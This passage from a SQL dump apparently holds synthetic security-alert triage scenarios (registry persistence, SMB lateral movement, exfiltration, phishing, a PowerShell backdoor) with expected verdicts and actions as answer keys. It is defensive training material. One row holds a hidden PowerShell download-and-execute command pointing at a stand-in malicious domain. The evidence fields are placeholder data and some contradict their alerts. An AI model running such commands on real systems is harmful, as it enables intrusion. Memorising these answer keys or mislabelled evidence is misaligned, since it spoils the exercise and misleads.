attempt\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1504, 'Establishing Persistence via Registry Modification', 'high', 'Registry Change Logs', 'The RAT modifies registry keys to ensure it remains active even after system reboots, demonstrating NetTraveler\'s persistence tactics.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:45:23Z\",\"event_id\":4657,\"user\":\"john.doe\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"source_ip\":\"192.168.1.105\",\"target_object\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\NetTraveler\",\"registry_value_name\":\"NetTraveler\",\"registry_value_type\":\"REG_SZ\",\"registry_value_data\":\"\\\"C:\\\\Program Files\\\\NetTraveler\\\\nettraveler.exe\\\"\",\"process_id\":4820,\"process_name\":\"C:\\\\Windows\\\\System32\\\\regedit.exe\",\"associated_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"attacker_ip\":\"203.0.113.45\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous NetTraveler activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\regedit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Executable associated with NetTraveler persistence mechanism.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"hashdb\",\"verdict\":\"malicious\",\"details\":\"MD5 hash of the NetTraveler executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"john.doe\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"target_object\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\NetTraveler\\\",\\\"registry_value_name\\\":\\\"NetTraveler\\\",\\\"registry_value_type\\\":\\\"REG_SZ\\\",\\\"registry_value_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\NetTraveler\\\\\\\\nettraveler.exe\\\\\\\"\\\",\\\"process_id\\\":4820,\\\"process_name\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\regedit.exe\\\",\\\"associated_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1505, 'Lateral Movement Detected through SMB Protocol', 'high', 'Network Traffic Analysis', 'An advanced persistent threat has been detected leveraging the SMB protocol for lateral movement within the network. The adversary is attempting to compromise additional internal systems, utilizing known credentials and malicious tools.', 'Network Intrusion', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"192.168.1.150\",\"protocol\":\"SMB\",\"action\":\"allowed\",\"username\":\"jdoe\",\"file_accessed\":\"\\\\\\\\192.168.1.150\\\\C$\\\\Windows\\\\System32\\\\malicious.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"external_ip\":\"203.0.113.45\",\"event_id\":\"SMB-Event-445\",\"event_description\":\"Successful SMB connection and file transfer detected.\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal network IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Target internal IP address for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with external attacker.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_blacklist\",\"verdict\":\"malicious\",\"details\":\"Hash of malicious executable associated with APT activity.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"active_directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1506, 'Data Exfiltration via Encrypted Channels', 'critical', 'Outbound Traffic Logs', 'In the final stage of the operation, the exfiltration of sensitive government data was detected over encrypted channels. The activity aligns with the NetTraveler APT group, indicating a sophisticated espionage effort.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"source_ip\":\"10.0.1.25\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"government_documents.zip\",\"action\":\"allowed\",\"bytes_sent\":10485760,\"indicator\":\"NetTraveler\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with NetTraveler APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash known to be used in exfiltration activities by APT groups.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"government_documents.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Filename contains sensitive government data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1507, 'Spear Phishing Attempt Detected', 'high', 'Email Gateway Logs', 'A spear phishing email was detected targeting key personnel at a defense supplier in Japan. The email contained a malicious attachment designed to gain initial access to the supply chain networks.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:30Z\",\"email_subject\":\"Urgent: Updated Project Plans\",\"sender_email\":\"john.doe@trusted-partner.com\",\"recipient_email\":\"satoshi.takahashi@defense-supplier.jp\",\"sender_ip\":\"198.51.100.25\",\"recipient_ip\":\"192.168.1.45\",\"attachment_name\":\"Project_Plans_2023.exe\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_url\":\"http://malicious-link.com/download\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"detection_method\":\"Signature-Based Detection\",\"email_content\":\"Please review the attached project plans and let me know if you have any questions. Regards, John Doe\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@trusted-partner.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Associated with previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known phishing server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malware by multiple engines.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Hosts malware files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Attempt Detected\",\"date\":\"2026-03-15T20:58:15.167Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1508, 'Malicious Payload Execution', 'high', 'Endpoint Detection and Response (EDR) Logs', 'A backdoor was executed on the host system, allowing remote command execution by IceFog. The backdoor was part of a malicious payload opened by the user.', 'Malware', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:30Z\",\"event_id\":\"EDR12345\",\"hostname\":\"DESKTOP-ABC123\",\"username\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious-domain.com/payload.ps1\')\",\"file_hash\":\"2fd4e1c67a2d28fced849ee1bb76e7391b93eb12\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"filename\":\"payload.ps1\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with IceFog.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"2fd4e1c67a2d28fced849ee1bb76e7391b93eb12\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known IceFog payload.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payload.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to execute the IceFog backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1509, 'Establishing Persistence via Registry Key Modification', 'medium', 'System Configuration Audits', 'During a routine system configuration audit, it was detected that IceFog is attempting to establish persistence by embedding scripts in startup folders and modifying registry keys. This ensures access even if the system is rebooted.', 'TTPs', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_type\":\"registry_modification\",\"username\":\"compromised_user\",\"host_ip\":\"192.168.1.23\",\"external_ip\":\"203.0.113.45\",\"modified_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousScript\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\evil_script.vbs\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"action\":\"added\",\"indicator\":\"persistence_attempt\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with IceFog activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\evil_script.vbs\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to maintain persistence on the host.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with IceFog malware samples.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 